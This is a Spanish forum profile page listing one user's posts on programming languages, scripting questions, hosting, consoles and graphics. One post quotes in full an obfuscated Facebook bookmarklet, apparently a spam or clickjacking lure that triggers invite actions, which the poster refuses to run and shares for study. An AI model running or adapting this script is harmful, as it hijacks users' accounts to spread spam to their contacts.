Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Ragnarok

#1
A menudo se pregunta: ¿Cuál es el mejor lenguaje?, y la respuesta es: ¿para qué?

He intentado agrupar lenguajes por uso, aunque no es sencillo porque Scala y Clojure podrían estar en cualquier sitio que esté Java, Python se está convirtiendo en bastante "enterprise", cualquier lenguaje vale para "web", algunas personas considerarán Go como bajo nivel, faltan muchos (aplicad sentido común, Coconut es Python, por ejemplo), y la opción "alternativo" es un cajón de-sastre increíble.

De todas formas, la encuesta creo que es útil como "tl;dr" pero es aún más útil responder y comentar en el hilo.

Personalmente por trabajo estoy con Python, Keras, y esas cosas. Cuando hago algo por mi parte procuro practicar Clojure para tener soltura porque sirve también como ClojureScript, aunque todavía no he probado a hacer un script de greasemonkey con ClojureScript y no sé cómo de factible sería. Para alguna cosa uso Scala que me parece de lo más cómodo, y si me obligaran a aprender un lenguaje nuevo escogería Rust, sólo porque Haskell y Prolog ya sé.

Igualmente, recomiendo Haskell y Prolog encarecidamente para aprender a pensar, porque a la hora de hacer algo que no sea una kata de programación son un poco complicados de manejar y de usar como "lenguaje convencional", y que al final es lo que se quiere la maoyoría de las veces, un lenguaje que con un par de líneas nos use la librería o framework que queremos usar para solucionar lo que queramos solucionar. Es decir, son más didácticos que prácticos.

Espero que esta encuesta sirva al menos para reconsiderar los lenguajes que usáis u os interesan. Para mayor inspiración, os traigo varias citas célebres de programadores famosos.


#2
Llevo bastante tiempo programando en Eclipse, muchos años con Java y últimamente bastante con Scala también. En alguna ocasión he programado alguna cosa en otros lenguajes, como Python, javascript y CoffeeScript, pero siempre cosas pequeñas y me siento un poco como pez fuera del agua.

Hay varias cosas que producen este efecto, una es no tener las comprobaciones de tipos, pero ahí no creo que haya nada que hacer. Otra es poder pasar tests con sólo una combinación de teclas o un click. Eso asumo que cualquier editor decente lo va a permitir.

Lo que realmente marca la diferencia o el umbral, lo que no es tan prevalente entre los IDEs, es que el código se formatee automáticamente al guardar el fichero. Es un poco cansino andar corrigiendo la indentación. No tengo muchas esperanzas de que eso cambie en Python o CoffeeScript (aunque podrían al menos reemplazar espacios por tabuladores o viceversa), pero con javascript (por ejemplo) es perfectamente posible, también con otros lenguajes nuevos como Julia, eso espero que IDEs de propósito general (como Sublime o Atom) lo incorporen a todos los lenguajes de manera más o menos factorizada (es decir, que teniendo el "formateador" añadir dar formato como acción de guardado a un nuevo lenguaje no requiera ningún trabajo adicional).

Lo más parecido que he encontrado es esto:
https://github.com/shumpei/brackets-formatter-extension

Personalmente preferiría que no fuera una combinación de teclas diferente, sino otra acción más a realizar al guardar los ficheros, como en Eclipse. De paso, sería interesante que se guardaran los cambios antes de ejecutar las pruebas unitarias (como en Eclipse también). Así sólo tendría que realizar compulsivamente una cosa, en lugar de tres. ¿Qué IDEs conocéis que hagan esto? No creo que sea algo exclusivo de Eclipse ni del mundo Java. Puede parecer una tontería, pero ayuda a leer el código y también a escribirlo sin preocuparse de algunas cosas que el IDE puede hacer de manera automática. En mi opinión, es muy cómodo.
#3
Estoy buscando librerías para Java o Scala para comunicar dos procesos de la manera más transparente posible. La idea es


  • Usar JSON para tener una compatibilidad mayor en cliente y servidor, pudiendo reemplazar uno de los dos (o ambos) por versiones en otros lenguajes.
  • Que sea realmente transparente y ligero, porque si no ni siquiera va a compensar meterse en estos follones. Montar todo (sin tener ni idea antes) debería llevar menos de un día.
  • En relación con el punto anterior, a ser posible que no forme parte de un web framework, como Play, porque realmente no es eso.

De momento he encontrado RabbitMQ, ¿alguien conoce alternativas a ser posible mejores?

Muchas gracias.
#4
Cada usuario puede marcar hasta tres opciones y puede cambiar su voto, los que usen más de tres lenguajes de programación pueden marcar los que quieran dentro de los que usen, pero se recomienda que marquen los que usen más.

Esta encuesta es para saber los lenguajes de programación que se usan más en el foro, permanecerá abierta durante dos años, fecha en la cual se dará por terminada puesto que es probable que los lenguajes más usados entonces sean otros y que muchos usuarios no se acuerden de cambiar su voto o no vuelvan para ello.

Esto no es una competición para ver quien sabe programar en más lenguajes, si no programáis habitualmente en algún lenguaje simplemente no lo marquéis. No seáis críos, en la anterior encuesta había gente que respondía con un mensaje para presumir y no respondía en la encuesta, que es lo que vale. Si programáis habitualmente en algo que no está en la lista responded al tema indicando el lenguaje en negrita.

Es bueno tener una encuesta que muestre las preferencias del resto de gente del foro en cuanto al lenguaje que escogen para programar. Es una pregunta habitual cuál es el lenguaje que se debería aprender para programar y la popularidad de un determinado lenguaje de programación es un factor a tener en cuenta. Puesto que hay más factores a tener en cuenta, esto puede cambiar, así que la encuesta se renueva cada dos años.
#5
Dudas Generales / Autoseguir en twitter
31 Julio 2011, 16:47 PM
¿Hay alguna forma de automatizar el seguir a quien me siga en twitter?

Algún programa, script sencillo...
#6
Software / Transmitir el escritorio
10 Marzo 2011, 11:48 AM
Estoy buscando un software que me permita emitir el escritorio o una parte del mismo para poder hacer demos online. Como camtasia, por ejemplo, pero la idea no es grabar sino que alguien pueda conectarse con facilidad y verlo en directo, sin darle acceso por escritorio remoto o similares porque no quiero que manejen mi ordenador, sólo que lo vean. ¿Conocéis alguno?

Gracias.
#7
Desarrollo Web / Busco un hosting gratuito
18 Enero 2011, 11:45 AM
He visto la lista de 250, pero muchos no funcionan, o no funcionan bien, lo que busco es que:
- tenga PHP
- tenga mySQL
- me deje usar mi propio dominio (que ya tengo)
- no añada publicidad
- funcione bien, fiablemente y con un uptime aceptable a poder ser...

Quiero que reúna estas características a ver si me libro de pagar por uno, ya sé que no es fácil, pero es lo que parecía 000webhost, que es el que estoy usando, y pierde la conexión con el servidor de SQL, ahora probaré con xtreemhost pero si me decís uno mejor me ahorráis ir deambulando entre hosts.

Muchas gracias por adelantado.
#8
Puede ser un poco raro, pero tengo que hacerlo...

He rellenado un formulario bastante largo, me ha llevado el suficiente tiempo como para no querer hacerlo otra vez por nada del mundo. Lo he hecho en una ventana de firefox, pero desafortunadamente no tengo instalado el http live headers ni httpfox ni nada que me permita ver los datos enviados, y para instalarlos me temo que tendría que reiniciar el firefox y por tanto perdería los datos. Dando hacia atrás en el historial no me recupera los datos, me ha sorprendido mucho, pero así es. Sólo puedo darle a recargar para que se vuelvan a enviar (con la esperanza de que no se estén enviando de manera incorrecta y pueda recuperarlos así).

Así que, cuando le de a reenviar querría recuperar los datos de esa petición post, ¿cómo podría hacerlo?

Tened en cuenta que tengo abierto el firefox y tengo que mantenerlo abierto, reiniciar o similares no es una opción.

He instalado wireshark, pero de momento no me ha servido de nada, no me lista ninguna interfaz como disponible, aparte no quiero snifar todo lo que pase por mi wifi, sólo quiero recuperar lo que estoy mandando en ese formulario.

Estoy pensando en hacer un pequeño servidor que escuche en el puerto 80 y guarde las peticiones y cambiar el fichero hosts para que cuando recargue el sitio el post vaya a localhost y recuperarlo de esa manera, pero esperaba que hubiera algo que pudiera hacer más rápidamente.

Creo que voy a ir empezando con el tema de los sockets...

Muchas gracias desde ya.

PD: si encontrara algo como esto http://www.java2s.com/Tutorial/CSharp/0580__Network/AsimpleHTTPechoserver.htm hecho en un lenguaje de programación para el que no tenga que instalarme el compilador lo tendría ya hecho... al final va a ser sencillo y todo.

PD2: al final lo he hecho con python, todavía tengo que pasar el texto del formato de URL con + en lugar de espacios y cosas como %C3%9A pero ya no tengo que volver a escribirlo.

éste es el código, es un poco paranoico porque la función lo guarda en un fichero además de retornarlo, pero es lo que tiene.

Código (python) [Seleccionar]
import socket
import sys
from pickle import load, dump

def dataget(HOST, PORT):
 s = None
 for res in socket.getaddrinfo(HOST, PORT, socket.AF_UNSPEC,
                socket.SOCK_STREAM, 0, socket.AI_PASSIVE):
   af, socktype, proto, canonname, sa = res
   try:
     s = socket.socket(af, socktype, proto)
   except socket.error as msg:
     s = None
     continue
   try:
     s.bind(sa)
     s.listen(1)
   except socket.error as msg:
     s.close()
     s = None
     continue
   break
 if s is None:
   print('could not open socket')
   sys.exit(1)
 conn, addr = s.accept()
 print('Connected by', addr)
 datas=[]
 while len(datas)<10:
   data = conn.recv(1024)
   if not data: break
   datas.append(data)
   with open('file.txt', 'wb') as f:
     dump(datas, f)
   yield(data)
 conn.close()


Viene en la documentación oficial. http://docs.python.org/py3k/library/socket.html
#9
Hardware / Comparación de gráficas
29 Diciembre 2010, 19:13 PM
Me han pedido comparar un par de ordenadores para un regalo de reyes y para poder dar una medida objetiva he recurrido a una página donde aparecen los resultados de un benchmark, pensando que serían opuestos a lo que he encontrado:

Ordenador samsung Ordenador sony Página de benchmark

El caso es que la gráfica del ordenador samsung es una ATI Mobility Radeon HD 545v y del ordenador sony una Intel HD Graphics, y resulta que la segunda tiene una mejor puntuación en el ranking, aparece la 274 del ranking total y la radeon aparece la 301.

Que intel gane a ATI en gráficas me parece imposible, pero, no lo sé, por eso pregunto.

Muchas gracias por todas la respuestas ya de antemano.
#10
Java / Apache camel
10 Septiembre 2010, 20:47 PM
Me lo ha estado mostrando un compañero de curro y parece muy bueno.

Si cualquiera está haciendo un trabajo en que tiene que integrar varios componentes en un workflow se lo recomiendo bastante (no mucho pues todavía no lo conozco en profundidad)

Ya me diréis.

Por cambiar la temática (y la escala) del foro un poco.
#11
Me han invitado a un grupo de facebook: "99% of people can't watch this video more than 25 seconds"

Allí te dicen que vayas a esta dirección, que es un script:

Código (javascript) [Seleccionar]
javascript:(function(){a='app107489592636080_PKhcGc';b='app107489592636080_xKbQFX';hzgjtD='app107489592636080_hzgjtD';yhXHmG='app107489592636080_yhXHmG';BWKgQn='app107489592636080_BWKgQn';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('P e=["\\p\\g\\l\\g\\I\\g\\k\\g\\h\\D","\\l\\h\\D\\k\\f","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\J\\D\\Q\\x","\\y\\g\\x\\x\\f\\j","\\g\\j\\j\\f\\z\\R\\K\\L\\S","\\p\\n\\k\\A\\f","\\l\\A\\o\\o\\f\\l\\h","\\k\\g\\G\\f\\q\\f","\\l\\k\\g\\j\\G","\\L\\r\\A\\l\\f\\v\\p\\f\\j\\h\\l","\\t\\z\\f\\n\\h\\f\\v\\p\\f\\j\\h","\\t\\k\\g\\t\\G","\\g\\j\\g\\h\\v\\p\\f\\j\\h","\\x\\g\\l\\u\\n\\h\\t\\y\\v\\p\\f\\j\\h","\\l\\f\\k\\f\\t\\h\\w\\n\\k\\k","\\l\\o\\q\\w\\g\\j\\p\\g\\h\\f\\w\\T\\r\\z\\q","\\H\\n\\U\\n\\V\\H\\l\\r\\t\\g\\n\\k\\w\\o\\z\\n\\u\\y\\H\\g\\j\\p\\g\\h\\f\\w\\x\\g\\n\\k\\r\\o\\W\\u\\y\\u","\\l\\A\\I\\q\\g\\h\\X\\g\\n\\k\\r\\o","\\g\\j\\u\\A\\h","\\o\\f\\h\\v\\k\\f\\q\\f\\j\\h\\l\\J\\D\\K\\n\\o\\Y\\n\\q\\f","\\Z\\y\\n\\z\\f","\\u\\r\\u\\w\\t\\r\\j\\h\\f\\j\\h"];d=M;d[e[2]](1a)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);N=d[e[2]](e[8]);c=d[e[10]](e[9]);c[e[12]](e[11],E,E);s[e[13]](c);B(C(){1b[e[14]]()},O);B(C(){1c[e[17]](e[15],e[16]);B(C(){c[e[12]](e[11],E,E);N[e[13]](c);B(C(){F=M[e[19]](e[18]);1d(i 1e F){1f(F[i][e[5]]==e[1g]){F[i][e[13]](c)}};m[e[13]](c);B(C(){d[e[2]](1h)[e[4]]=d[e[2]](1i)[e[5]];},1k)},1l)},1m)},O);',62,85,'||||||||||||||variables|x65|x69|x74||x6E|x6C|x73||x61|x67|x76|x6D|x6F||x63|x70|x45|x5F|x64|x68|x72|x75|setTimeout|function|x79|true|inp|x6B|x2F|x62|x42|x54|x4D|document|sl|5000|var|x49|x48|x4C|x66|x6A|x78|x2E|x44|x4E|x53|||||||||||BWKgQn|fs|SocialGraphManager|for|in|if|20|yhXHmG|hzgjtD|21|2000|4000|3000'.split('|'),0,{}))})();

No os quejaréis que os lo doy con colores y todo...

El caso es que me da igual lo que haga la función, me da igual el vídeo y en general me da igual lo que pase en facebook, para mí es una libreta de direcciones con trackback. Y desde luego no me voy a poner a ejecutar tronchos de javascript que no sé lo que hacen, de dónde vienen ni los controles que pueden haber pasado. Tal vez en una máquina virtual, si tuviera tiempo e interés. Pero he pensado que os puede interesar a los que estéis aprendiendo javascript, ofuscación, etc.
#12
Voy a poner un disco duro que tiene GRUB como gestor de arranque en una caja USB para discos duros (es un disco duro de portátil, de 3.5'' o las que tengan, con sus sectores, sus platos girando, toda la historia).

Quería saber si arrancaría desde ahí, porque sería importante que lo hiciera y me va a llevar un buen rato clonando el disco, etc. no quería llevarme el chasco después.

Puede que dependa de la caja, que tenga que mapear el sector de arranque del disco duro y mostrarlo como arranque del USB, que no sé si será distinto pero mucho no puede serlo.

Mi teoría es que debería funcionar porque los requisitos que habría de cumplir la caja para esto son mínimos. Pero soy un optimista empedernido y la realidad constantemente me sorprende siendo peor de lo que esperaba, así que he decidido preguntar, porque si no funciona tendré poco tiempo de margen de acción para buscar un "workaround" (de esos que tan de moda están).

Gracias.

PD: la pregunta era un poco tonta pero importante, ya está confirmado. (Evidentemente y por si acaso, arrancará un ordenador que sea igual, porque requiere drivers y todas esas movidas, si no es igual ya dependerá de las diferencias y cada caso particular)
#13
Esto no es una competición para ver quien sabe programar en más lenguajes, si no programáis habitualmente en algún lenguaje simplemente no lo marquéis. No seáis críos, en la anterior encuesta había gente que respondía con un mensaje para presumir y no respondía en la encuesta, que es lo que vale. Si programáis habitualmente en algo que no está en la lista responded al tema indicando el lenguaje en negrita.

Es bueno tener una encuesta que muestre las preferencias del resto de gente del foro en cuanto al lenguaje que escogen para programar. Es una pregunta habitual cuál es el lenguaje que se debería aprender para programar y la popularidad de un determinado lenguaje de programación es un factor a tener en cuenta. Puesto que hay más factores a tener en cuenta, esto puede cambiar, así que la encuesta se renueva cada dos años.

html no es un lenguaje de programación, es un lenguaje de marcado, probablemente latex tenga más de lenguaje de programación que html.
#14
Por llamarlo de alguna forma, realmente no sé cómo se llama, y por tanto no he buscado en internet, mis disculpas. A ver si alguien tiene un tutorial o alguna explicación, porque esto del photoshop es interesante pero sé lo justo:

Este es el original:



Esta es la imagen modificada:


Si no pudiera ser también me vale así, aunque es mucho peor:



Muchas gracias.
#15
Tengo que hacer todas las posibles combinaciones de una lista (cuidado, he dicho combinaciones, no permutaciones), esto significa las combinaciones tomadas de uno en uno de todos los elementos de la lista (es decir, sus elementos), de dos en dos, y así hasta las combinaciones de n en n elementos siendo n la longitud de  la lista, es decir, sólo habrá una combinación de ese tamaño.

Lo estoy programando en python, así que si no me distraen mucho pondré la solución en ese lenguaje dentro de poco, pero puede ser un ejercicio interesante también para otros lenguajes.
#16
Por cosas de la vida me viene bien tener un algoritmo para hacer la descomposición factorial de un número y lo voy a hacer ahora en python.

Puede ser un ejercicio interesante, es como el típico de hallar los números primos pero ampliándolo con algo más.

Personalmente lo voy a ampliar (más) después a hallar el mínimo número de factores del número original, teniendo de los m factores m+0.5/2 que sean menores de 26 y m/2 menores de 5, para formar palabras. Pero eso ya lo dejo a lo que quiera hacer cada uno.

Dentro de un rato pongo el código, si no me interrumpen.
#17
La última actualización de estas normas fue realizada el día 21/03/2020


Normas del tablón de Scripting:

Este tablón está sujeto a las normas generales del foro y a las normas de los tablones de programación,
cualquier incumplimiento de dichas normas será sancionada también en el tablón de Scripting.

Entre dichas normas cabe destacar las siguientes:

• El respeto hacia los demás.
• La utilización de títulos descriptivos.
• Formular una pregunta de forma descriptiva.
• No abusar de las mayúsculas ni de las letras en color.
• Buscar información en el buscador del foro y en los motores de búsqueda antes de formular una pregunta.


Además, se deben respetar una serie de normas específicas para el tablón de Scripting:

• Cualquier tipo de código debe ser escrito en el interior de su respectiva etiqueta GeShi, como en el siguiente ejemplo:
Cita de: Ejemplo de código con formatoCódigo

• No se permite la publicación de archivos compilados sin proporcionar el código fuente.

• No se permite la publicación de recopilatorios y/o Rankings relacionados con Retos de programación, ya existe una zona dedicada a ello,
 para contribuir un reto o participar solo deben seguir las reglas de participación de la Zona de Retos de Scripting
 Nota: Está permitido publicar un post con un reto (solo uno) sin previo consentimiento del encargado de la zona de Retos de Scripting.
         






Otros aspectos importantes a tener en cuenta:

Es conveniente leer los siguientes temas para tener en cuenta como se debe formular una pregunta de forma adecuada:

10 pasos para plantear una duda informática
FAQ : Como hacer preguntas "inteligentes"

Puesto que en este tablón se da cabida a varios lenguajes de programación es aconsejable el uso de etiquetas en el título, que indiquen el lenguaje sobre el que es la duda, por ejemplo:
[PYTHON] ¿Alguna buena librería para implementar servicios web?






Cualquier tema que incumpla alguna de las normas mencionadas anteriórmente puede ser bloqueado o eliminado sin previo aviso hacia el autor.


#18
Tengo un jpeg y me gustaría hacer un gif que muestre ese jpeg pero haciendo un recorrido sobre el mismo, mostrando una parte cada vez. Es un plano grande del que quería hacer una pequeña imagen que muestre cómo se recorre el camino.

¿Hay alguna forma de hacerlo que no sea a mano y frame por frame? Creo que con macromedia flash se puede (aunque no sé cómo) pero el gif resultante tiene muy poca calidad, sería importante que conservara la calidad y que no fuera muy complicado...

Muchas gracias.
#19
He estado buscando cómo enviar un mail con adjuntos desde un script, ya sea en bash o en python. En bash no he encontrado nada. En python he encontrado la librería smtplib, que permite utilizar una cuenta en "cualquier" servicio de e-mail gratuito que proporcione un smtp, siempre y cuando no use SSL, puesto que todavía no está implementado en smtplib, "desafortunadamente" todos usan SSL actualmente.

¿Alguien sabe cómo podría hacer un script facilito para enviar un mail con archivos adjuntos?

Gracias.
#21
Estoy intentando hacer un script que antes de cerrar un documento actualice las referencias, después preguntará si se quieren guardar los cambios o no.

El caso es que me gustaría que sólo actualizara las referencias (y por tanto preguntara si se quieren guardar los cambios) si el documento ha sido modificado, si no ha cambiado en nada no hace falta.

He estado buscando una referencia VB para word u office en que venga todas las funciones, variables, etc. disponibles, pero después de mucho buscar no la he encontrado, también me valdría eso, es más, lo preferiría, puesto que mejor que se ejecutara al cerrarlo sería al salvarlo.

Muchas gracias.

#22
Multimedia / ¿swf a video?
4 Julio 2007, 00:48 AM
Estoy intentando convertir unos vídeos que están en formato swf a un formato de vídeo más convencional que la gente pueda ver sin tener que instalar nada.

De momento he probado con este programa: http://www.avi-swf-convert.com/

Pero el tamaño de los ficheros ha aumentado más de 10 veces. Me preguntaba si habría alguno que redujera el tamaño del archivo con respecto del swf, puesto que ese es el problema actualmente, que los vídeos (en swf) ocupan demasiado.

Los vídeos no tienen sonido, así que no es necesario que incluya esa opción.

Muchas gracias.
#23
Java / ¿Cómo desarrollais GUIs?
25 Junio 2007, 22:40 PM
Estoy haciendo uno y estoy usando Netbeans, permite arrastrar y soltar y se puede hacer el GUI de una manera relativamente sencilla y rápida. La única pega que le veo es que es algo enrevesada la forma de editar el código que genera, ya que no se puede ir al editor y escribir directamente lo que se quiera en la sección de código que está generando.

Busqué plugins para eclipse, pero si no recuerdo mal no encontré ninguno que fuera libre o no estuviera todavía en fase de pruebas, así que pasaría de eclipse a netbeans por las facilidades que da para el desarrollo de GUIs.

Lo que me preguntaba es qué usaría la gente en general para estas cosas, a lo mejor hay algo fantástico que desconozco y me estoy perdiendo.

Muchas gracias.

PS: Estoy de acuerdo en que escribiendo sin ayudas gráficas se aprende más, pero el desarrollo es más ágil con herramientas que permiten arrastrar y soltar.
#24
Java / Parsear html, ¿algo sencillo?
23 Mayo 2007, 19:05 PM
Estoy intentando parsear un fichero en html usando java, ahora mismo estoy intentando usar el parser que hay en javax.swing.text.html.parser, pero estoy abierto a cualquier sugerencia de librerías o lo que sea.

El fichero en html que quiero parsear es bastante largo y tiene etiquetas bastante complejas, como cualquier html generado desde un documento .doc de microsoft office. También estoy abierto a sugerencias sobre como parsear un .doc, pasarlo a html me ha parecido la mejor.

Lo que hago es que creo un DocumentParser y llamo al método parse con un objeto de la clase MyCallback que creo para eso, esta clase es subclase de Callback y sólo he redefinido el método "handleSimpleTag" porque es lo único que me interesa hacer.

El problema es que ese método redefinido no se llama nunca, no sé porqué. Así que estoy bastante perdido.

Muchas gracias.
#25
Java / REGLAS DEL FORO ¡LEED TODOS!
26 Abril 2007, 00:36 AM
Hola
Estas son las reglas que hay que cumplir para poner un post aqui

A. los títulos deben incluir una pregunta precisa y el lenguaje en que se solicita
B. Se pregunta por conceptos abstractos. Aquí no estamos para hacerle el trabajo a nadie
C. Manuales, ejercicios y proyectos de programación al subforo correspondiente
D. Ingeniería inversa o ensamblador al subforo correspondiente
E. Visual Basic al subforo correspondiente
F. C o C++ al subforo correspondiente
G. Programación de troyanos, keyloggers y demás en cualquier lenguaje al Foro de Troyanos
H. El código siempre entre caracteres code para que quede bien claro lo que es código y lo que no.

Los hilos que no cumplan esto pueden ser borrados o movidos sin advertencia previa.

Otros hilos de lectura obligatoria:

http://foro.elhacker.net/index.php/topic,17721.0.html
http://foro.elhacker.net/index.php/topic,93852.0.html
http://foro.elhacker.net/index.php/topic,7122.0.html
#26
Que la comprará la élite, porque no sé quien más.

A saber las mejoras:

- HDD de 120GB.
- Puerto HDMI.
- Cable HDMI.
- Color negro (imprescindible).

Precio en EEUU 479$, que traducido será 479€.

Añade 80€ del adaptador inalámbrico y te sitúas a 40€ de una PS3 que además incorpora lector de blu-ray, lector de tarjetas y la posibilidad de instalar linux sin modificar la consola. En la XBox360 no se puede ni modificándola.

No sé a vosotros, pero a mi me parece un movimiento muy desafortunado por parte de microsoft en las fechas del lanzamiento de la PS3 en Europa.
#27
Si no recuerdo mal en python lo habitual en caso de que todo vaya bien y la función no tenga valor de retorno se devuelve None y si hay error se puede devolver un error. Hay además una función o método de todas las clases que permite saber si una variable es None o no, pero no consigo recordarlo ni encontrarlo. Debería ser algo como x.is_None() o isNone(x).

¿Cómo se puede comprobar si una variable es none?

Muchas gracias.

PD: después de mucho buscar he llegado a la conclusión de que lo que creía que era una errata o una forma de hablar es lo que hay que hacer (es lo que  pasa cuando un lenguaje de programación se hace demasiado parecido al lenguaje natural). Resulta que hay un operador que se llama 'is' que es el que se usa para esas cosas (y no el '=='), así que el código es x is None.
#28
foto1, foto2 y otras muchas en internet.

El ordenador capaz de correr esto con la mejor configuración tiene que costar una pasta desde luego, pero miradlo por el lado bueno, con el calor que dará en invierno no necesitaréis calefacción, XD.

Me gustaría que hubiera un dinosaurio en el juego para compararlo con los de parque jurásico, las máquinas que renderizaban eso seguramente eran mucho más potentes que el ordenador que pueda ejecutar este juego, pero también se han hecho optimizaciones y mejoras para engañar al ojo y conseguir mejores resultados con menos potencia así que puede que dentro de no mucho (¿5 años?) veamos juegos que no podamos diferenciar de parque jurásico.

Lo que está claro es que con esos gráficos en tiempo real no hace falta tener escenas prerrenderizadas y almacenadas como vídeo.

Estoy de acuerdo en que un juego no es una película y no por que sea de mayor calidad gráficamente el juego es automáticamente mejor en todos los aspectos, pero estos gráficos me han impresionado y tenía que compartirlo.

¿Vuestras opiniones?
#29
He visto que en game.es hay una encuesta en la que se pregunta qué vas a comprar estas navidades, los resultados después de 122975 votos son:
Citar
PS2: 1,26%
XBox360: 28,63%
Wii: 36,00%
Esperaré a PS3: 34,11%

Parece que la intención de compra de la XBox360 es menor que para las otras dos consolas, por otro lado ya hay bastante gente que tiene una XBox360 y empieza en cabeza, las otras dos consolas tienen que mantener sus ventas por encima de la XBox360 para poder alcanzarla. Los que se reservan para una PS3 son menos que los que deciden comprar una wii, sin embargo también es posible que mucha gente que compre una wii posteriormente compre una PS3.

Yo propongo una encuesta ligeramente distinta, se trata de ver quién creéis que será el vencedor de la próxima generación de consolas.

XBox360 tiene un año en cabeza, y por lo menos en España es la que más se anuncia para estas navidades y microsoft va a poner dinero hasta ser los números uno. Wii parece ser la que tiene mayor intención de compra estas navidades, un precio más asequible y un concepto que está funcionando bastante bien en las portátiles. PS3 es la consola más cara y por tanto la que ofrece más prestaciones, entre ellas la reproducción de películas en blu-ray y la posibilidad de instalar linux (yellow dog), además cuenta con la inercia de PS2 que acaparó aproximadamente el 70% de las ventas de consolas en la generación anterior.

En mi opinión creo que va a ser una generación en la cada compañía va a darlo todo para conseguir ser los mejores y espero que acaben bastante igualados para tener una siguiente generación similar, a mayor competencia generalmente más ventajas para los consumidores.
#30
Juegos y Consolas / Semana "especial" de sony
6 Septiembre 2006, 18:39 PM
Por lo menos yo me he enterado de todo esto esta semana:
  • La PS3 se venderá sin cables HDMI. La PS3 es la consola con más definición de imágen, pero para verla tienes que comprar los cables a parte, 600€ no es suficiente...
  • La velocidad de lectura del blu-ray que lleva es más lenta que el lector de DVDs de Xbox360. Más información almacenada leída más lento significa mucho más tiempo de carga.
  • El lanzamiento europeo de la PS3 se postpone para marzo del 2007. En el lanzamiento que ocurrirá en noviembre sólo se enviarán 400.000 unidades a EEUU y 100.000 serán para Japón.
  • Sólo se producirán dos millones de unidades antes del final de 2006, la cifra se rebaja a la mitad.

Por no olvidar que no hay vibración en el mando y el precio, que ya se sabía anteriormente. Pero lo de esta semana ha sido descomunal, no podía dejar de comentarlo.
#31
Sé que para volcar la salida estándar y de errores se usa &>, el problema es que el programa cuya salida quiero volcar es un bucle infinito, por lo que tengo que matarlo, y no se escribe nada en el fichero de salida.

He visto que si pongo

proceso | grep "[.]*" &> proceso.txt &
pproc = $!


puedo matar al proceso posteriormente a mano, y la salida aparece correctamente, pero la variable $! me recoge el pid de grep, no del proceso, por lo que no puedo matar al proceso con un scrip, o no he encontrado la forma.

¿Alguna forma de que se vuelque la salida correctamente o de poder recoger el pid usando grep?

Muchas gracias.

PD: por si a alguien le sirve ya lo he solucionado:

proceso | grep "[.]*" &> proceso.txt &
sleep 10
pproc=$(ps U $uid | grep "proceso" | grep -v "grep" | grep -o "[0-9]*")
kill $pproc
#32
Estoy intentando hacer un script y me gustaría que me mandara un mail con un archivo adjunto. No tengo permisos de administrador, pero tal vez pueda usar el mandato "mail" o inyectar órdenes a un cliente de correo por consola, pine.

El problema es que en los manuales que leo no encuentro nada parecido a inyectar órdenes, normalmente el redirigir la entrada estándar no me ha dado buenos resultados, no sé si lo habré hecho bien, además dos de las instrucciones deberían ser ctrl+X y ctrl+J.

Por otro lado no sé si el mandato mail permite enviar archivos adjuntos, pero lo necesitaría.

Muchas gracias.
#33
Diseño Gráfico / Buscando una fuente.
3 Diciembre 2005, 20:17 PM
He estado buscando una fuente durante mucho tiempo y no me gusta ninguna, así que me he decidido a preguntar a ver si por casualidad aguien conoce una fuente que sea así más o menos:

- Los trazos de las letras largas muy largos (casi desproprocionados) Con letras largas me refiero a l, f, g, h, q, p, d, etc.

- Los trazos muy simples, con los menos adornos posibles.

- A ser posible que los trazos sean un poco gruesos, pero eso es lo de menos.


De momento he encontrado "Santa's Sleigh", pero tiene muchos adornos en comparación con lo que estoy buscando.

Gracias.
#34
Sé que estos temas no se suelen tratar en este subforo, pero creo que es el que más se ajusta a la pregunta y por preguntar no pierdo nada.

He estado siguiendo un manual que encontré hace tiempo en otra página para hacer hotswap con el PC. Usando xboxhdm con el UXE, intento iniciar el xbrowser, pero siempre me da error, el mejor error que he conseguido que me saliera es:

CitarLooking for CD-ROM in /dev/hda...
Looking for CD-ROM in /dev/hdb...
Looking for CD-ROM in /dev/hdc...

No disk drive found on /dev/hda

Please connect a drive and try again
We will now search /dev/hda for an XBox partition table...

No XBox partition table found on /dev/hda

Done!!!

Si enchufo el lector de CD en un IDE que no sea maestro no lo encuentra y me aparece el error ("Sistema operativo no encontrado"), a partir de ahí he probado enchufando el disco de la XBox en el otro IDE en maestro, y no lo encuentra, si lo enchufo en el primario me sale el error que he puesto y si lo enchufo en el secundario sólo busca en /dev/hda y tampoco lo encuentra.

Estoy desesperado, he estado probando durante más de tres horas y tengo miedo de que el disco duro pueda sufrir daños irreparables, por eso he preferido preguntar antes de seguir, de momento sé que funciona porque puedo reproducir música almacenada en mi disco duro.

Muchas gracias.
#35
He estado experimentando con los brushes, me he descargado un paquete, el Burken_Brushpack2 que parecía prometer mucho, pero no consigo que quede en 3d, o no del todo bien, he hecho dos intentos y creo que del primero al segundo he mejorado, he decidido ponerlo aquí a ver que os parece y en qué se podría mejorar.





#36
No estoy seguro de si debería ir en windows, si algún moderador considera que deberá ir ahí que lo mueva, y perdón.

Los juegos antiguos tienen resoluciones de pantalla muy bajas y estaban preparados para pantallas antiguas más pequeñas, me pregunto si hay alguna forma de que los juegos se ejecuten dentro de una ventana o algo parecido en lugar de ejecutarse a pantalla completa, saliendo gigantescos y hasta distorsionados. Si hay alguna opción en configuración, o algún programa que pueda hacer algo así o parecido.

Gracias.
#37
Multimedia / midi ¿de 4 canales?
22 Enero 2005, 06:06 AM
El caso es que puedo ponerle midis de 4 canales al móvil por un módico precio, el problema es que de momento no sé si es de 4 canales hasta que el teléfono intenta abrirlo y no puede y para entonces ya me he gastado el dinero.

¿Cómo puedo saber si un midi es de 4 canales?

Gracias.

PD: había puesto tonos en lugar de canales  :-[
#38
